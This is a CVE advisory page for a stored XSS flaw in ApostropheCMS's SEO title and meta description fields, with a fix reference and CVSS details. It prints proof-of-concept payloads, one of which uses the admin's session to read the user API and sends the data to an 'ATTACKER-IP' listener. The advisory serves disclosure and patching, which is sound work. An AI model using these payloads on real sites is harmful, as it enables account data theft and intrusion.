🛡️ CVE-2026-35569 — apostrophe

🟠 CVSS 8.7 — High ✅ No Known Exploit CWE-116 NVD
8.7
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

  • <title>
  • <meta> attributes
  • structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

```javascript

"></title><script>alert(1)</script>

```

This confirms:

  • Improper output encoding
  • Ability to escape <title> / <meta> contexts
  • Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

```javascript

"></title><script>

fetch('/api/v1/@apostrophecms/user', {

credentials:'include'

})

.then(r=>r.text())

.then(d=>{

fetch('http://ATTACKER-IP:5656/?data='+btoa(d))

})

</script>

```

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

1. Start a local listener: python3 -m http.server 5656

2. Login to ApostropheCMS as an authenticated user

3. Create or edit a page

4. Navigate to SEO settings

5. Insert the payload into the SEO Title field and Meta Description

```javascript

"></title><script>

fetch('/api/v1/@apostrophecms/user',{

credentials:'include'

})

.then(r=>r.text())

.then(d=>{

fetch('http://ATTACKER-IP:5656/?data='+btoa(d))

})

</script>

```

6. Set Schema Type to "Web page"

7. Save and publish the page

8. Have an administrator visit the page

Result

  • The payload executes in the admin’s browser
  • The script sends a request to: /api/v1/@apostrophecms/user
  • The response contains sensitive user data:
  • usernames
  • email addresses
  • roles (including admin)
  • The data is exfiltrated to the attacker-controlled server:
  • http://ATTACKER-IP:5656

Evidence

  • The attacker server receives:
  • GET /?data=BASE64_ENCODED_RESPONSE
  • Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to:

  • Execute arbitrary JavaScript in an authenticated admin context
  • Perform authenticated API requests (session riding)
  • Access sensitive application data via internal APIs
  • Exfiltrate sensitive data to an external attacker-controlled server

References

  • Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
  • https://www.cve.org/CVERecord?id=CVE-2026-35569
  • https://nvd.nist.gov/vuln/detail/CVE-2026-35569
  • https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2026-35569 is classified as CWE-116: Improper Encoding or Escaping of Output. Output is emitted without encoding it for the context it lands in, so data is interpreted as markup or code.

Affected software

CVE-2026-35569 is recorded against 2 packages.

  • apostrophe
  • apostrophecms (fixed in 4.29.0)

Timeline and source

Published on 16 April 2026 and last revised on 5 May 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.7
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWE CWE-116
Public Exploit ✅ No
Source NVD
Published 2026-04-16
Updated 2026-08-12
Modified 2026-05-05

Affected Packages

Software From version Fixed in
apostrophe
apostrophecms 4.29.0

Similar Threats

Site Security Check

Is apostrophe part of your stack?

CVE-2026-35569 is rated CVSS 8.7 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026